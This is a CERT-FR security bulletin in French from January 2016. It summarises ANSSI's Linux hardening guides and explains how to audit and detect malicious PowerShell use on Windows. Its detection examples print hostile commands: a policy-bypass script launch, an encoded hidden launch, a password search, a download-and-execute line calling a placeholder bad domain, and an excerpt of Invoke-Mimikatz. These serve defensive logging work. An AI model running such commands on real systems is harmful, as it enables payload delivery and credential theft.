Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE
PREMIER MINISTRE

S . G . D . S . N
Agence nationale de la sécurité des systèmes d'information
CERT-FR

Paris, le 11 janvier 2016
N° CERTFR-2016-ACT-002

Affaire suivie par :
CERT-FR

BULLETIN D'ACTUALITÉ

Objet : Bulletin d'actualité CERTFR-2016-ACT-002

1 - Recommandations de configuration d'un système GNU/Linux

La page concernant les recommandations de sécurité relatives à un système GNU/Linux a été mise à jour sur le site de l'ANSSI. Un document présentant des recommandations de configuration à suivre pour ce système d'exploitation a été ajouté.

Ainsi, deux notes techniques complémentaires visant à énoncer les principaux axes de durcissement à explorer au sein d'un système GNU/Linux, sont à présent proposées :

- "Recommandations de sécurité relatives à un système GNU/Linux", document synthétique qui décrit les cinq recommandations minimales à respecter pour la sécurisation d'un système GNU/Linux ;
- "Recommandations de configuration d'un système GNU/Linux", document détaillant une démarche de durcissement adaptée et plus précise au travers de recommandations classées selon quatre niveaux de sécurité.

A noter que parmi l'ensemble de ces préconisations, certaines correspondent à des principes de base pouvant être adoptés pour tout système d'exploitation, en particulier :

- l'application régulière des mises à jour de sécurité ;
- la minimisation des services installés ;
- le principe de défense en profondeur ;
- la robustesse du mot de passe administrateur ;
- la protection des mots de passe stockés.

Par ailleurs, dans le cas où la mise en œuvre de certaines de ces bonnes pratiques serait considérée, il convient d'étudier au préalable leur applicabilité et leur maintenabilité au sein de l'infrastructure.

Référence

http://www.ssi.gouv.fr/administration/guide/recommandations-de-securite-relatives-a-un-systeme-gnulinux/

2 - Utilisation malveillante de powershell

Introduction

L'interface en ligne de commande Windows PowerShell est aujourd'hui largement utilisée par les administrateurs système car il présente l'avantage :

- d'être installé par défaut à partir de Windows Vista et Windows Server 2008 ;
- de permettre un accès distant via `PowerShell Remoting` (activé par défaut à partir de Windows Server 2012) semblable à ssh ;
- de pouvoir modifier la configuration du système en accédant aux bases de registre, wmi, fichiers, etc. ;

- de s'interfacer avec la plupart des composants Windows tels que le gestionnaire de services ou le gestionnaire des tâches planifiées ;
- de donner accès au code natif (et donc aux API win32) ;
- de chiffrer le trafic réseau.

Cependant, diverses boîtes à outils offensives basées sur PowerShell sont largement accessibles. De plus, ces accès malveillants échappent encore à la détection de la plupart des antivirus. Enfin, on constate que l'injection de code en mémoire (`Reflective DLL Injection`) permet encore d'en augmenter la furtivité.

En effet, l'utilisation de Powershell présente pour l'attaquant de nombreux avantages, tels que les écritures sur disque quasi nulles, et donc ne laisse que très peu de traces inforensiques exploitables.

La politique d'exécution permet de restreindre, par défaut, l'exécution de script par PowerShell. En effet, celle-ci va pouvoir restreindre l'exécution de scripts à distance aux scripts signés, voire en désactiver complètement l'exécution.

Néanmoins, il ne s'agit pas d'une frontière de sécurité, mais d'un mécanisme de protection semblable à l'UAC. C'est-à-dire qu'il ne permet pas l'exécution du script PowerShell d'un simple double click, mais laisse la possibilité à l'utilisateur de l'exécuter en assouplissant la politique :

```
PowerShell.exe -ExecutionPolicy Bypass -File c:\temp\bad-script.ps1
```

La politique d'exécution ne doit donc pas être vue comme un principe de sécurité, mais plutôt comme un garde-fou contre une exécution accidentelle.

Activation de l'audit d'exécution PowerShell

Afin de journaliser l'exécution de scripts (potentiellement malveillants), il convient en premier lieu d'activer l'audit PowerShell.

À partir du profil PowerShell, pour les versions antérieures à PowerShell 3.0

Les profils PowerShell sont automatiquement chargés lors de l'ouverture d'une session et permettent à un utilisateur de définir des préférences telles que des alias ou le chargement de modules [profil].

L'ajout de la cmdlet «Start-Transcript» au profil s'appliquant à tous les utilisateurs permet de sauvegarder dans un fichier les cmdlets ainsi que leurs résultats d'exécution par tout utilisateur.

L'emplacement du profil applicable à tous les utilisateurs est accessible via la variable $PROFILE.AllUsersAllHosts

```
PS> $PROFILE.AllUsersAllHosts
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
```

Cependant, la transcription ne capture que les commandes effectuées pendant l'exécution locale de PowerShell. Il est essentiel de noter que les commandes effectuées à partir d'une session PowerShell distante ne sont ainsi pas journalisées.

De plus, cette solution peut être très facilement contournée, en utilisant l'option -noprofile de PowerShell :

```
PowerShell.exe -NoProfile -File c:\temp\bad-script.ps1
```

Au moyen des stratégies de groupes à partir de la version 3.0 de PowerShell

(les systèmes Windows 7 et 2008 R2, installés avec PowerShell 2.0, devront être mis à jour [KB2819745])

Les stratégies de groupe permettant de configurer la journalisation des exécutions de scripts ou commandes Powershell sont :

```
Configuration Ordinateur -> Strategie -> Modeles d'administrations -> Composant Windows
Activer l'enregistrement des modules = Activer
```

Cette option permet de journaliser de façon détaillée les cmdlets exécutés sur le système que la session Powershell soit initiée localement ou à distance.

Cependant, cet audit générant potentiellement une grande quantité d'évènements dans le journal Microsoft-Windows-PowerShell/Operational, il est donc recommandé d'en augmenter significativement la taille et de l'archiver afin de prévenir la perte d'information lors de la rotation du journal. On pourra, par exemple, activer la collecte des journaux via les collecteurs WinRM [WinRM].

Activation l'audit de création de processus

L'audit de création de processus journalise la création de tous les processus. Dans le cas de PowerShell, il permettra d'identifier les scripts PowerShell exécutés grâce au champ « Process command line ».

Pour activer l'audit, à partir des stratégies de groupes, sélectionner :

```
Configuration Ordinateur -> Strategie -> parametre de Securite -> Configuration avancee
Auditer la creation de processus = Activer
```

Pour que le champ « Process command line » soit renseigné dans les événements d'audit de création de processus, il est nécessaire d'activer la stratégie suivante :

```
Configuration d'ordinateur -> Strategie -> Modeles d'administrations -> Systeme -> Audit
Inclure une ligne de commande dans les evenements de creation de processus = activer
```

Comme indiqué précédemment, il est recommandé d'ajuster la taille des journaux de sécurité aux volumes ainsi générés et de les archiver.

Identification des évènements d'intérêt

Création de processus

Dans les journaux de sécurité, les options d'exécution de PowerShell (telles que -Noprofile, -Encryption, -ExecutionPolicy Bypass ou -W Hidden) seront naturellement à investiguer. On notera la validité de formes raccourcies des options comme -enc (pour -Encryption) etc.

Par exemple, l'exécution de la commande :

```
PowerShell.exe -NoProfile -Enc "RwBlAHQA(...)AGQA"
```

génère l'évènement 4688 :

```
PS > Get-WinEvent -LogName "Security" | Where-Object {$_.Message -like "*powershell*" -a

04/01/2016 15:24:32 4688 Information A new process has been created.
[...]
Process Information:
New Process ID:        0xb78
[...]
Process Command Line:  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopr
```

De plus, la recherche de l'évènement 4103 dans le journal Microsoft-Windows-PowerShell/Operational permet de visualiser le script PowerShell dans sa version décodée :

```
Get-ChildItem C:\temp -Filter *.txt -Recurse | Select-String password

PS C:\WINDOWS\system32> Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational"

04/01/2016 15:24:34           4103 Information
CommandInvocation(Get-ChildItem): "Get-ChildItem"
ParameterBinding(Get-ChildItem): name="Filter"; value="*.txt"
ParameterBinding(Get-ChildItem): name="Recurse"; value="True"
ParameterBinding(Get-ChildItem): name="Path"; value="C:\temp"
CommandInvocation(Select-String): "Select-String"
ParameterBinding(Select-String): name="Pattern"; value="password"
ParameterBinding(Select-String): name="InputObject"; value="temp.txt"
[...]
```

Le résultat du script est lui aussi journalisé dans l'évènement qui suit :

```
04/01/2016 15:24:34           4103 Information
CommandInvocation(Out-Default): "Out-Default"
ParameterBinding(Out-Default): name="InputObject"; value="C:\temp\temp.txt:1:password df
```

Téléchargement de fichier

Lors de la dernière vague connue du malware Rovnix, un script PowerShell était utilisé pour télécharger la charge malveillante [Rovnix]. Ce script utilise l'API .NET WebClient pour exécuter la méthode DownloadFile. Il est possible d'identifier ces téléchargements en analysant les sessions ayant eu recours à l'API WebClient à partir des évènements 800, dans le journal "Windows PowerShell" et 4104 dans "Microsoft-Windows-PowerShell/Operational »

```
PS> Get-WinEvent -LogName "Windows PowerShell"  | Where-Object {$_.Message -like "*Net.W

04/01/2016 13:38:37  800 Information
Pipeline execution details for command line:
IEX (New-Object Net.WebClient).DownloadString('http://Bad_domain.com/exe')

PS>  Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational"  |  Where-Object {

04/01/2016 13:59:50 4104 Verbose
Creating Scriptblock text (1 of 1): IEX (New-Object Net.WebClient).DownloadString('http:
```

Utilisation d'API ou de namespace d'intérêt

De façon similaire, il est possible d'effectuer une recherche sur les sessions ayant eu recours à :

- Des API .NET permettant l'accès au code natif tel que la cmdlet Add-Type :
  `Add-Type -TypeDefinition $sign -Language CSharp -PassThru`
- Des namespaces tel que System.Reflection et System.Runspace.InteropServices ainsi que l'import de DLL externe à l'aide des méthodes LoadLibraryA ou DLLImport :
  `[System.Runtime.InteropServices.DllImport("iphlpapi.dll", ExactSpelling = true)]`

Recherche de chaînes de caractère propres aux outils tierces

Une recherche par marqueurs (extraits des différentes boîtes à outils offensives comme Empire, Nishang, Powersploit, etc.) permet d'en identifier les tentatives d'utilisation.

```
PS > Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |  Where-Object {$

04/01/2016 13:38:37 4104 Warning
Creating Scriptblock text (1 of 92):
function Invoke-Mimikatz
{
<#
.SYNOPSIS
[...]
.DESCRIPTION

Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be
used to dump credentials without writing anything to disk. Can be
used for any functionality provided with Mimikatz.

.PARAMETER DumpCreds
```

Conclusion

À partir de la version 3.0, l'audit de PowerShell permet aux administrateurs de journaliser l'exécution de commandes ou scripts PowerShell. Bien sûr, cette journalisation permettra l'analyse détaillée des scripts exécutés en cas de compromission, mais pourra aussi se révéler précieuse dans l'analyse de dysfonctionnements. Cette version devra néanmoins être déployée sur les plateformes anciennes. En effet, Powershell 3.0 n'est intégré par défaut qu'à partir de Windows Serveur 2012 et Windows 8.

Documentation

- profil
  http://blogs.technet.com/b/heyscriptingguy/archive/2012/05/21/understanding-the-six-powershell-profiles.aspx
- KB2819745
  https://www.microsoft.com/fr-fr/download/details.aspx?id=40855
- WinRM
  https://technet.microsoft.com/fr-fr/library/cc748890.aspx
- Rovnix
  http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros
- Dissecting PowerShell Attack
  http://dfir-blog.com/2015/09/27/dissecting-powershell-attacks/
- Investigating PowerShell attacks
  https://www.fireeye.com/content/dam/fireeye-www/global/en/solutions/pdfs/wp-lazanciyan-investigating-powershell-attacks.pdf

3 - Rappel des avis émis

Dans la période du 04 au 10 janvier 2016, le CERT-FR a émis les publications suivantes :

- CERTFR-2016-AVI-001 : Vulnérabilité dans Cisco IOS XR
- CERTFR-2016-AVI-002 : Multiples vulnérabilités dans Google Android
- CERTFR-2016-AVI-003 : Vulnérabilité dans Cisco Unified Communications Manager
- CERTFR-2016-AVI-004 : Multiples vulnérabilités dans le noyau Linux de Debian
- CERTFR-2016-AVI-005 : Vulnérabilité dans VMWare
- CERTFR-2016-AVI-006 : Multiples vulnérabilités dans Apple QuickTime
- CERTFR-2016-AVI-007 : Vulnérabilité dans Wordpress

Gestion détaillée du document

11 janvier 2016 version initiale.

Conditions d'utilisation de ce document :	`http://cert.ssi.gouv.fr/cert-fr/apropos.html`
Dernière version de ce document :	`http://cert.ssi.gouv.fr/site/CERTFR-2016-ACT-002`